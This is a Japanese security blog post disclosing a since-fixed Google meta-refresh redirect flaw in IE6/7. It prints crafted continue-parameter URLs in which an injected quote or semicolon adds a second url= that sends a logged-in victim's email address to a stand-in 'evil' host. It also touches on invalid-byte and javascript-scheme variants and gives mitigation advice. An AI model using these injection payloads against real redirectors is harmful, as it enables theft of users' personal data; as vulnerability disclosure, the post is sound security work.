2012/03/01

Googleのmetaリダイレクトに存在した問題

Googleに存在したメールアドレスを窃取できた問題について書きます。これは2011年1月30日に報告し、報告後数日以内に修正された問題です。 

こんなページがありました。

http://example.google.com/redirect?continue=http://example.google.com/xyz
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;">
<script>
location.replace("http://example.google.com/xyz")
</script>

continueというパラメータに指定されたURLをmetaタグとlocation.replace()にそれぞれ入れて、JavaScriptの有効/無効の設定に関わらずリダイレクトできるように書かれたページです。
Googleのサービス間を移動する時にこんなコードがよく使われています。

ここでは「"<>\」などの特殊な文字は適切に処理されており、指定できるURLも*.google.comに限られ、外部サイトやjavascriptスキームへリダイレクトするなどのことはできないようになっていました。

が、1つ意識されていない問題がありました。

Internet Explorer 6/7では、以下のようなmetaタグの指定で、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url='http://good/'url='http://evil/'">


ポイントは後ろに指定されたURLがリダイレクト先として選択されるということです。これをさっきのコードにあてはめてみます。

http://example.google.com/redirect?continue=http://example.google.com/xyz%27url=%27http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=&#39;http://evil/&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3d\x27http://evil/")
</script>

先ほど説明したIE6/7の挙動に従えば、metaタグは外部サイトへリダイレクトするよううまくはまっているように見えます。が、これ、はまっているとしても、JavaScriptが有効の場合はどうあがいてもlocation.replace()が優先してリダイレクトに使用されるので、これだけだとIE6/7でJavaScriptが無効の時にオープンリダイレクタになるというだけの話で(Googleはオープンリダイレクタを脆弱性とみなさないことを表明しているし)、ちょっとしょぼいです。


もっと悪用できないかあれこれ考えていると、別の箇所で似たようなコードがあり、リダイレクトする時に、ログインユーザーの場合はcontinueのURLにメールアドレスを付加してリダイレクトしているページを見つけました!
よって以下のようにすることでメールアドレスをhttp://evil/へ送信することができました。

http://example2.google.com/redirect?continue=http://example.google.com/xyz%27url=http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=http://evil/?usr=victim@gmail.com&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3dhttp://evil/?usr=victim@gmail.com")
</script>

これでオープンリダイレクタ以上の問題にできました、やった!通常安全になることが多い、JavaScriptを無効にしているユーザーだけが影響を受ける点が面白いと思います。

Googleのこの場合は、metaタグのcontent属性のurl=に続くURLをシングルクォートで囲っているのに、continueのパラメータに含まれるシングルクォートを適切に処理しないままここへ挿入していたことになるので、メールアドレスを盗めるかどうかにかかわらず明らかに途中でリダイレクトURLを区切ってしまうバグがあった訳でしたが、url=の後のURLを引用符で囲っていない場合は、IE6/7において「;」(セミコロン)で同様に区切らすことができます。IE6/7では以下のようなタグで、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url=http://good/;url=http://evil/">

このIE6/7の問題へ対処しつつmetaタグで動的に同じドメイン内に制限してリダイレクトさせるには、基本的なXSS対策("<>などの処理)と挿入されるURLを検証するだけでなく、metaタグに挿入されるセミコロンにもなんらかの処理をしなければならないことを、頭の片隅に覚えておくとよいかもしれません。最悪の場合、IE6の古いバージョンだとここへjavascriptスキームのURLを指定すると動くものがあり、XSSにもなり得ます。少なくとも手元のフルパッチのIE6sp3では動作しませんでしたが、過去のバージョンで動いていた記録が以下にあります。

 'Internet Explorer 6 Meta Refresh Parsing Weakness' - MARC
 http://marc.info/?l=bugtraq&m=112431630719702&w=2

 さらにマニアックな話をすると、単独のセミコロンを処理しても、エンコーディングとして不正なバイトを適切に処理していないと、まだオープンリダイレクタ(あるいは上の資料のXSS)になる恐れがあります。具体的には、「[不正バイト]&amp;url=http://....」のように文字参照に変換される文字(この場合「&」)を不正なバイトに喰わせて文字参照を破壊し、セミコロンを出現させることでできたりしますね!IE6なんかは、フルパッチかつUTF-8でも単独の[0xC0-0xFF]を生に通過させると後続の文字を侵します。

まぁ、IE6/7が悪いと思いますが、IE6/7がそのように動くということは受け止めなければなりません。
 ちなみにこのバグでは、報酬として$1337をもらっています。

追記

はせがわようすけさんがこの問題に対する考察と対策方法を書いて下さいました。「;」をパーセントエンコードすればいいやんって単純に思ってましたが、そうはいかない時もある訳で、リダイレクトを正常に機能させつつ、 この問題に対処するのは難しいですね…。一番手っとり早いのはmetaリダイレクトを動的に生成することを避けるか、IE6/7が爆発することだと思います。

 IE6/7の<meta refresh>では「;」で区切ってURLが複数指定できる問題
http://d.hatena.ne.jp/hasegawayosuke/20120301/p1

0 件のコメント:

コメントを投稿